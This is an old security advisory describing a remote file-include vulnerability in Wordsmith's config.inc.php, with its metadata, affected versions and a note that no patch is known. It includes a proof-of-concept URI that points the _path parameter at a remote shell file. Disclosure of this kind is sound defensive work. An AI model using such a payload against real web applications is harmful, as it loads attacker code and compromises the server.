Wordsmith Config.Inc.PHP Remote File Include Vulnerability

Bugtraq ID:	25783
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Sep 24 2007 12:00AM
Updated:	Sep 24 2007 12:00AM
Credit:	ShockShadow is credited with the discovery of this vulnerability.
Vulnerable:	Wordsmith Wordsmith 1.1 RC1
Not Vulnerable:

Wordsmith Config.Inc.PHP Remote File Include Vulnerability

Wordsmith is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Wordsmith 1.0 RC1 is vulnerable; other versions may also be affected.

Wordsmith Config.Inc.PHP Remote File Include Vulnerability

An attacker can exploit this issue via a browser.

The following proof-of-concept URI is available:

http://www.example.com/Script_Path/config.inc.php?_path=http://shell.txt?

Wordsmith Config.Inc.PHP Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: mailto:[email protected].

Wordsmith Config.Inc.PHP Remote File Include Vulnerability

References:

• Project Homepage (Wordsmith)